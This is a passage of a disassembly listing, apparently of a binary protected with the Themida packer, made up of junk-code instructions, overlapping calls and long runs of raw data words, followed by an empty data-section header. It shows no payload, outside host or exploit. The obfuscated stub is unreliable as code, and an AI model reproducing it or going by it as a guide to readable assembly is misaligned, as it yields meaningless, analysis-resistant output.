		dd 446FF16h, 5A0E1D33h,	56D78B61h, 12E9h, 1E82AE00h, 0FF5DBB31h
		dd 0D4DDB787h, 0DF4618F3h, 5B480CC2h, 0F8F2B70Fh, 0D8B256F5h
		dd 9E95Bh, 0B24A0000h, 63C294CFh, 0FC5FE196h, 0E9F2B70Fh
		dd 0Dh,	5BE710B5h, 1694106h, 2908D241h,	1E8F0F32h, 0F000000h
		dd 1882h, 12E800h, 844C0000h, 0EF014F03h, 94290271h, 0B4330D74h
		dd 0E05BB98Ah, 0E281665Ah, 0D881B5DDh, 5E436FBEh, 68B0Fh
		dd 840F0000h, 0
; ---------------------------------------------------------------------------
		movzx	eax, ax
		jmp	loc_5D23AF
; ---------------------------------------------------------------------------
		dd 6FAE907Dh, 0C0B55857h, 149D269Bh, 0B5D41F8Eh
		db 24h,	2Fh, 14h
; ---------------------------------------------------------------------------


loc_5D23AF:				; CODE XREF: Themida_:005D2397j
		mov	si, 1B54h
		mov	ah, 91h
		jmp	loc_5D23C8
; ---------------------------------------------------------------------------
		dw 10D2h
		dd 282D7F5Ah, 1B2304B6h, 0DA9009F5h
; ---------------------------------------------------------------------------


loc_5D23C8:				; CODE XREF: Themida_:005D23B5j
		mov	cx, 1A29h
		add	ax, 5DFBh
		mov	di, 6A7Ah
		mov	ax, cx
		push	edx
		mov	si, ax
		pop	edi
		mov	eax, 42834B7h
		jl	loc_5D23EA
		mov	cl, 31h


loc_5D23EA:				; CODE XREF: Themida_:005D23E2j
		mov	ecx, edi
		sub	bx, 1B22h
		mov	ecx, 62755936h
		sub	al, 8Ah
		sub	edx, 326A1A39h
		mov	ax, bx
		cld
		jmp	loc_5D240E
; ---------------------------------------------------------------------------
		dd 0F0D1576Eh
		db 28h,	83h
; ---------------------------------------------------------------------------


loc_5D240E:				; CODE XREF: Themida_:005D2403j
		mov	dx, 28ECh
		pusha
		movzx	ecx, dx
		or	edi, 1D9CCF99h
		popa
		jbe	$+6
		mov	si, 0FD32h
		mov	edx, esi
		push	ecx
		sbb	bx, 0E1AAh
		pop	eax
		call	near ptr loc_5D243B+4
		push	ss
		dec	ebp
		out	0A4h, al	; Interrupt Controller #2, 8259A
		adc	esp, ecx


loc_5D243B:				; CODE XREF: Themida_:005D2430p
		mov	edx, 5BF24F9Eh
		ja	loc_5D2456
		jmp	loc_5D2456
; ---------------------------------------------------------------------------
		db 36h
		dd 0A9EA337Bh, 0C5E17C1Dh
; ---------------------------------------------------------------------------
		movsd
		cmc


loc_5D2456:				; CODE XREF: Themida_:005D2440j
					; Themida_:005D2446j
		mov	dx, 0D494h
		jge	loc_5D2462
		mov	bl, al


loc_5D2462:				; CODE XREF: Themida_:005D245Aj
		pusha
		jg	loc_5D246B
		pusha
		popa


loc_5D246B:				; CODE XREF: Themida_:005D2463j
		popa
		mov	ecx, 3D59CD80h
		clc
		mov	ecx, edx
		mov	cx, 7B82h
		jz	loc_5D2485
		jns	loc_5D2485
		cmc


loc_5D2485:				; CODE XREF: Themida_:005D2478j
					; Themida_:005D247Ej
		add	dh, 9Bh
		or	bl, 77h
		mov	cx, 0A259h
		jp	loc_5D2499
		mov	dx, 4A90h


loc_5D2499:				; CODE XREF: Themida_:005D248Fj
		mov	bx, di
		call	near ptr loc_5D24B1+1
		cdq
		add	[ecx], edx
		daa
		dec	esp
		cmpsb
		mov	esi, 27187A0Fh
		sbb	eax, 9B74FA5Ah


loc_5D24B1:				; CODE XREF: Themida_:005D249Cp
		mov	edx, 58535BF5h
		mov	esi, edx
		clc
		cmc
		jmp	loc_5D24D0
; ---------------------------------------------------------------------------
		db 28h
		dd 7C26C82Fh, 5C64ACA0h, 0DFB9962Bh, 55BE4C9Fh
; ---------------------------------------------------------------------------


loc_5D24D0:				; CODE XREF: Themida_:005D24BAj
		pusha
		push	esi
		push	edi
		pop	ebx
		pop	esi
		adc	edx, 71F03651h
		popa
		jle	loc_5D24E3
		stc


loc_5D24E3:				; CODE XREF: Themida_:005D24DCj
		cld
		mov	dh, 35h
		jmp	loc_5D24FA
; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		mov	ah, 57h
		mov	esp, 0C8AB97Bh
		adc	[esi+eax*2], dh
		mov	bl, 95h
		cld


loc_5D24FA:				; CODE XREF: Themida_:005D24E6j
		push	edi
		call	sub_5D2507
		jmp	near ptr 774E3E43h
; ---------------------------------------------------------------------------
		db 84h,	1Dh

; =============== S U B	R O U T	I N E =======================================



sub_5D2507	proc near		; CODE XREF: Themida_:005D24FBp
		mov	ecx, 0B7B86F9h
		pop	eax
		pop	edi
		mov	dh, cl
		movzx	esi, dx
		mov	cx, 9F5Ch
		mov	si, bx
		and	di, 2A23h
		or	ax, 71A0h
		mov	esi, 36B11403h
		pusha
		call	near ptr loc_5D253C+2
		cmp	edi, [edi+4]
		fisubr	dword ptr [edx+7Bh]
		not	esi
		adc	eax, 5F14ACF0h


loc_5D253C:				; CODE XREF: sub_5D2507+23p
		repne sbb cl, [ebx-7BF0A53Eh]
sub_5D2507	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 61000000h, 870F60F8h, 4, 3A75B866h, 52CBBE66h, 5810F61h
		dd 0B8000000h, 3CD81EA5h, 9BB95F50h, 816A668Eh,	6B02E7E0h
		dd 0D7816633h, 816662F8h, 8B57C7DEh, 0EF68BED0h, 20B546CCh
		dd 860FF48Ah, 4, 3832BA66h, 0C6B70FF9h,	77B1BB66h, 0E767EA81h
		dd 81663233h, 817862D0h, 0E8A65BDAh, 2A6FBE54h,	0DA8B744Bh
		dd 0BB3A7ABBh, 5E947h, 0B2000000h, 8BEA1C7Dh, 0E95B53D1h
		dd 0Bh,	7832EB3Bh, 0C74F99D2h, 0F529DACh, 0B866CABFh, 810FDA29h
		dd 13h,	0EE9h, 20357200h, 740A465Dh, 9DE545EBh,	66FFFED1h
		dd 0F3C0D781h, 0E9C28166h, 0D0816672h, 0ED80820Eh, 58C0FC9h
		dd 66000000h, 6B47CA81h, 1770C281h, 66FC0C72h, 660791BAh
		dd 8B0FCF8Bh, 1, 0FFB70FFCh, 8E9h, 0B24F5E00h, 55CCFA82h
		dd 5840F17h, 56000000h,	5FF0E080h, 10E957h, 23D0000h, 69BD7EFDh
		dd 605027B5h, 27E5A789h, 66589DC0h, 989EE681h, 83471CB9h
		dd 1CC08137h, 0F81C9222h, 0DE960h, 5E0C0000h, 7FCA4D32h
		dd 0A8C02CDDh, 813DC445h, 15A011E1h, 0BF0F617Fh, 12800FD3h
		dd 0E9000000h, 0Dh, 779FD083h, 0CA09CF7Dh, 4BEED93h, 8E950EBh
		dd 37000000h, 613878B8h, 5E25B7DFh, 69DE8166h, 0BE9C0h
		dd 0EF420000h, 1A8292E8h, 6179D872h, 12E84Eh, 0A1540000h
		dd 87342F44h, 6E785ED2h, 0D739E128h, 68B08280h,	615F5160h
		dd 66F78B59h, 887BCB81h, 0BE9h,	1F562E00h, 0D9F26Ch, 9341D025h
		dd 0E9FE8B66h, 0Fh, 0A80738EEh,	0C3904882h, 4F072581h
		dd 0E9536E65h, 6, 7B1C3C3Bh, 0C0B15FB1h, 0C1816657h, 0B35FD66Dh
		dd 0E96AB2D2h, 0Ah, 8CD8AFC1h, 0C283E288h, 0DE963C8h, 0A2000000h
		dd 0D1C77A8Ch, 0F8E2A7C0h, 8323ECD4h, 0D7782FBEh, 2810F34h
		dd 8A000000h, 38DA80F7h, 8BE5C580h, 38B0FC8h, 0F000000h
		dd 0CE9C1BFh, 2D000000h, 9A623E90h, 0F8638C01h,	6682716Fh
		dd 0B1BFD18Bh, 804BD8D1h, 0F56D5EBh, 0F55ACABFh, 71B866F8h
		dd 6E9D8h, 0A2D0000h, 0AC1F96E9h, 0D642C181h, 57601BBEh
		dd 36E28166h, 0E9615A51h, 9, 6A40004Eh,	3BE73049h, 9E94Ah
		dd 7BC70000h, 608E0F72h, 60589527h, 4FB7C081h, 0D7812AF8h
		dd 7E5C117Eh, 29F18061h, 0BEC8B70Fh, 57CE7CFBh,	3850Fh
		dd 8B660000h, 0CABBF8C6h, 0E936AB3Ah, 7, 0F4F69365h, 0F905406h
		dd 6057C3BFh, 8B0Fh, 61600000h,	0D9815861h, 65268701h
		dd 0BE9h, 72A44900h, 41AAE072h,	0FD82C725h, 11E9F8h, 0EC060000h
		dd 34A5FA35h, 0E8E08005h, 0EE4C6FDDh, 52D552CAh, 866E881h
		dd 0E95F7560h, 11h, 0E0F099ADh,	0AA19B938h, 0CCF0F590h
		dd 3025A0CBh, 536057C3h, 870F5Eh, 61000000h, 6890F59h
		dd 56000000h, 0F3D7BF66h, 36EA815Ah, 0F2B5469h,	1084h
		dd 0BE900h, 8F380000h, 40794905h, 55699DEDh, 0AE902h, 3630000h
		dd 39A1A39Ch, 2A834A17h, 0C38166F9h, 66523DE3h,	5B17C7BAh
		dd 800Fh, 0BF0F0000h, 10E9D9h, 0DFD90000h, 5DB1E9FFh, 0A43AD8EDh
		dd 3207A235h, 6660911Ch, 0B161F98Bh, 0FF50BE1Bh, 0BB6607E1h
		dd 8166DA18h, 0E96D33D0h, 9, 299FA25Dh,	6B48032Fh, 80D88BBBh
		dd 505014CEh, 0BE137BBh, 0B3595E60h, 8130B906h,	0BA6649A6h
		dd 0BA66540Ch, 49B8EB6Dh, 664FFDDEh, 0BF068DB9h, 4D6F3800h
		dd 0F920EF80h, 12E9F8h,	4EF60000h, 0D725D152h, 2C70779Ch
		dd 68FE5045h, 0DF923F08h, 0FF7BF0Fh, 7E9F7B7h, 6000000h
		dd 0F13C7E1Ah, 1BBEB623h, 603A8564h, 7118B966h,	0C3B70F61h
		dd 8166D08Bh, 0E94A11CEh, 11h, 8D508A35h, 3BB9AA08h, 0FB78C1D4h
		dd 74AB0C93h, 80B8666Ah, 0CE945h, 0B6560000h, 4181C7AAh
		dd 8BB95A52h, 8F0FD5B6h, 3, 66D5DC80h, 80D6A7B8h, 6060DCE4h
		dd 7AEE8061h, 0F98AF861h, 575AF957h, 49D7805Bh,	66F08BF5h
		dd 5250DA8Bh, 66585AFCh, 0F0A76BFh, 580h, 0D9816600h, 8A0FEC32h
		dd 3, 0E9FE8B66h, 9, 130A2F7Ah,	8FF8031Fh, 168C0FC5h, 0E8000000h
		dd 0Fh,	47405356h, 4A9B64C9h, 885D1A2Fh, 0FC03CB2Dh, 48B0F5Eh
		dd 66000000h, 0FF5FDBFh, 0B70FF6B7h, 0B70F60F2h, 0D7B70FF1h
		dd 96BE6661h, 12870FF3h, 0E9000000h, 0Dh, 919802A6h, 21EE450Ah
		dd 0CE262ACCh, 90E78171h, 81533523h, 9CD88FD2h,	5E816h
		dd 2F5A0000h, 8A0C7E6Ah, 8B6658D9h, 52B0B1DFh, 0ABE68166h
		dd 0E96059D5h, 12h, 6131C4B9h, 75EE1116h, 70E1219Dh, 691FB956h
		dd 666156C7h, 0F5997DBAh, 0DE8h, 0BB124000h, 3D3EA524h
		dd 0B3407F97h, 0C681B3EFh, 7D394D88h, 5E958h, 48060000h
		dd 0E97BC9B4h, 12h, 5166AEA9h, 84BF0C27h, 7D37CE54h, 3C41430Fh
		dd 6ABF7BC2h, 0E9343E74h, 5, 8BAAA216h,	0FE949h, 55410000h
		dd 973CE4AAh, 0DBB3EC84h, 0E2382373h, 9ABE6613h, 0F7B70FD9h
		dd 9E960h, 7A730000h, 750A2184h, 800BFD91h, 0B961BBD5h
		dd 39796DBAh, 8E1BE60h,	0FA8B4D3Ah, 0AE961h, 86CE0000h
		dd 0F20774Ch, 0D843D8CCh, 14E8h, 0E488CE00h, 0BC97041Ah
		dd 98DBFA0Bh, 0C7181AD0h, 0F231971Fh, 9CABBEECh, 0E8586A19h
		dd 0Dh,	0FBE770h, 0F87BC5F7h, 5B91AB57h, 58F88B98h, 11E3D081h
		dd 0DE870E5h, 0A000000h, 4B762E26h, 0FC7306EDh,	129DEC2Eh
		dd 0A850Fh, 5E90000h, 2D000000h, 0C2C04603h, 11E85Fh, 49180000h
		dd 1CAEBF96h, 67E2844Dh, 938D3DACh, 6660CF5Eh, 591C91B8h
		dd 13E9h, 664E8200h, 0F479A5F1h, 0E7008B23h, 9E7E6C4Bh
		dd 154457EBh, 5E8h, 2FA0F500h, 0CE8BD110h, 3860F58h, 0F000000h
		dd 890FFAB7h, 3, 66D9BF0Fh, 9562E181h, 0E9C8B70Fh, 6, 0D2EC7567h
		dd 0F7806645h, 0C3BF66E0h, 12E96039h, 4D000000h, 4DA7212Bh
		dd 0EA94D76Dh, 0FCFE7CE4h, 4243BA0Bh, 7BBF573Ah, 5E2710ADh
		dd 8E961h, 0D4E70000h, 0F30223DDh, 50600E0Eh, 8E8h, 4A06F200h
		dd 25ECD6ACh, 0B95E5F04h, 382E788Fh, 9E961h, 6BC0000h
		dd 0CA6F6B6Ch, 0E879E519h, 12h,	2B4C1A1Ch, 0CB9FB466h
		dd 0E4901315h, 9254F862h, 5ABEAB56h, 5B7FE591h,	59C78B56h
		dd 0F5C38B66h, 48E0Fh, 0BF660000h, 0F5727F3h, 6659CBBFh
		dd 0E97D1CB9h, 0Ah, 56074690h, 7D8966D6h, 8AF84121h, 0F08166C3h
		dd 850F4C97h, 2, 8166B4B5h, 667167C1h, 0F871F6BEh, 19850Fh
		dd 14E90000h, 0D000000h, 5560ACDCh, 0FB4B34C3h,	8B542FE4h
		dd 3A1E1D43h, 0E939B3AAh, 0Ch, 0AD8EB2A3h, 0D6F9D433h
		dd 1584AE97h, 9E8h, 0FF110900h,	0EB02EB2Bh, 0FC5844FBh
		dd 0DE5842BAh, 59F55142h, 7F8EBE66h, 1810Fh, 0FFC0000h
		dd 86h,	0C18B6600h, 8B59F552h, 88B0FF8h, 60000000h, 850Fh
		dd 0B3610000h, 0BE85052h, 0A5000000h, 84CD8588h, 0E0D65862h
		dd 5A5F16EEh, 8E9h, 0FB8B0C00h,	0C246E524h, 5E9ADh, 19650000h
		dd 600A62CEh, 0E0DE8166h, 61D98B33h, 142BF281h,	80FC08E7h
		dd 53BAA5D9h, 8B706A51h, 0ABD480FBh, 0D3D28166h, 0DE840h
		dd 0F1510000h, 0CC99D13Eh, 0BE3F0482h, 52BD6166h, 9E8h
		dd 0D51C9600h
		dd 0B5E3A968h, 5A5B5759h, 17D4805Bh, 0BE957h, 597F0000h
		dd 0EC11C499h, 0FE7193AEh, 0F5805F9Fh, 51DA8B7Ch, 5BDE8B66h
		dd 0DE9F960h, 19000000h, 0D1C242FBh, 0BCB4CD35h, 0B36B80B6h
		dd 0EE8A5761h, 840F5Eh,	0B9000000h, 298CC3Dh, 0ED5DF181h
		dd 0D98A44C2h, 6E8h, 8F862300h,	6657D983h, 0F6C2D781h
		dd 4FC2815Bh, 0F223C94h, 0EE9D9B7h, 1D000000h, 63A9E86Ch
		dd 0F4191B87h, 346E2C83h, 11E8F4h, 0C39F0000h, 36E62F86h
		dd 23BBEFEBh, 0E2DE5E80h, 8B484709h, 11BE59F9h,	6655C40Ch
		dd 0A5E5DB81h, 33B95060h, 5817ADD8h, 61E5C080h,	0E9FB8B66h
		dd 0Dh,	1A4416DAh, 97416CE4h, 0E7A5BF73h, 0AE9D6h, 0ADDB0000h
		dd 0F73CC4BEh, 0E205EEE1h, 8166D8B3h, 33C706E1h, 380h dup(34856B00h)
		dd 0CEFDF3C4h, 127h dup(0CEFDF3C6h), 589FF3C6h,	199h dup(589FF272h)
		dd 0A5C3F272h, 51h dup(0A5C4474Bh), 18h	dup(7C824BE1h)
		dd 0DE824BE1h, 11Bh dup(0DE426A9Dh), 9075F29Dh,	5 dup(9075F26Ah)
		db 6Ah,	0F2h, 75h
byte_5D4D5B	db 90h			; DATA XREF: ___:off_431980o
		dd 62h dup(9075F26Ah), 5D11F26Ah, 88h dup(5D1107E1h), 0CCCCCCE1h
		dd 0B44h dup(0CCCCCCCCh), 0CCCCCCh, 1C78h dup(0)
Themida_	ends

; Section 5. (virtual address 001DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DF000h
		align 2000h
_idata2		ends


		end start